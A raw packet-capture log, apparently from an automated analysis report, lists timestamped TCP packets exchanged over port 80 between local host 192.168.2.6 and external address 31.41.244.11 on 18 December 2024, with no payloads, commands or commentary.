Dec 18, 2024 11:47:15.203710079 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.203763008 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.203797102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.203836918 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.204881907 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.204931974 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.204966068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.205005884 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.206034899 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.206085920 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.206145048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.206187963 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.207253933 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.207298994 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.207334042 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.207377911 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.208401918 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.208455086 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.208523989 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.208564997 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.209564924 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.209625959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.209692001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.209732056 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.210783958 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.210829973 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.210870981 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.210911989 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.211946964 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.212007046 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.212039948 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.212074995 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.213063955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.213128090 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.213262081 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.213300943 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.214246988 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.214299917 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.214329958 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.214366913 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.215440989 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.215493917 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.215523958 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.215559006 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.216830015 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.216886044 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.217037916 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.217082024 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.218312979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.218367100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.218455076 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.218497992 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.219501972 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.219548941 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.219765902 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.219809055 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.220493078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.220535040 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.220555067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.220592976 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.221302032 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.221353054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.221460104 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.221502066 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.222465992 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.222513914 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.222549915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.222600937 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.223635912 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.223680973 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.223712921 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.223752022 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.224833012 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.224879980 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.224914074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.224948883 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.225944996 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.225995064 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.225995064 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.226053953 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.227114916 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.227164984 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.227232933 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.227269888 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.228315115 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.228372097 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.228424072 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.228470087 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.229538918 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.229585886 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.229654074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.229692936 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.230653048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.230700016 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.230715990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.230762005 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.231813908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.231867075 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.231954098 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.231993914 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.233001947 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.233052969 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.233083010 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.233129978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.234185934 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.234241962 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.234272003 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.234329939 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.235326052 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.235375881 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.235411882 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.235479116 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.236521006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.236567020 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.236641884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.236684084 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.237652063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.237694979 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.237726927 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.237770081 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.238826990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.238873005 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.238931894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.238970995 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.240012884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.240057945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.240122080 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.240161896 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.241225958 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.241238117 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.241283894 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.242427111 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.242475986 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.242503881 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.242547989 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.243513107 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.243557930 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.243587017 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.243628979 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.244714022 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.244759083 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.244786978 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.244827986 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.245841026 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.245877981 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.245894909 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.245927095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.375685930 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.375750065 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.375812054 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.375860929 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.376271009 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.376327038 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.376358986 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.376404047 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.377454042 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.377504110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.377535105 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.377576113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.378565073 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.378609896 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.379895926 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.379941940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.380007982 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.380057096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.380465984 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.380516052 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.380680084 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.380728960 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.380847931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.380894899 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.381884098 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.381939888 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.382028103 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.382072926 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.383105993 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.383150101 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.383323908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.383367062 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.384445906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.384491920 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.384525061 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.384577036 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.385390043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.385441065 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.385524988 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.385567904 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.386540890 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.386589050 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.386662960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.386709929 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.387742996 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.387789965 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.387837887 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.387876987 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.388947010 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.388995886 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.389030933 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.389079094 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.390057087 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.390104055 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.390171051 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.390213013 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.391221046 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.391268015 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.391335964 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.391376019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.392431021 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.392482042 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.392484903 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.392539024 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.393625975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.393686056 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.393702030 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.393733025 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.394748926 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.394788980 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.394804001 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.394838095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.395910025 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.395973921 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.396064997 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.396112919 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.397110939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.397160053 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.397175074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.397223949 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.398281097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.398292065 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.398361921 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.399452925 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.399508953 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.399585009 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.399641991 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.400592089 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.400630951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.400747061 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.400780916 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.401820898 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.401834011 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.401875973 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.402947903 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.402996063 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.403017044 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.403059959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.404114008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.404165983 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.404201031 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.404244900 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.405313969 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.405359030 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.405424118 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.405462980 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.406445026 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.406502962 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.406511068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.406543970 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.407624960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.407671928 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.407736063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.407774925 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.408797979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.408850908 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.408889055 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.408932924 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.410053015 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.410115004 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.410140991 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.410187960 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.411125898 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.411180019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.411214113 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.411262989 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.412297010 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.412355900 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.412389994 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.412436008 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.413512945 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.413569927 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.413727045 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.413779974 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.414642096 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.414690018 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.414727926 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.414771080 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.415837049 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.415879011 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.415941954 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.415988922 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.417025089 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.417073965 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.417382956 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.417428017 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.418252945 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.418308973 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.418324947 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.418370008 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.419389963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.419446945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.419473886 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.419519901 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.420500040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.420556068 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.420723915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.420767069 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.421681881 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.421725035 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.422091007 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.422137022 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.422888041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.422899008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.422933102 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.422944069 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.424112082 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.424163103 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.424204111 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.424249887 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.425328016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.425385952 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.425419092 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.425461054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.426410913 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.426459074 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.426476955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.426512957 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.427738905 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.427789927 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.427803040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.427844048 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.429132938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.429181099 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.429508924 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.429555893 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.430340052 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.430397034 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.430413961 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.430461884 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.431473017 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.431523085 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.431550026 CET	80	49806	31.41.244.11	192.168.2.6
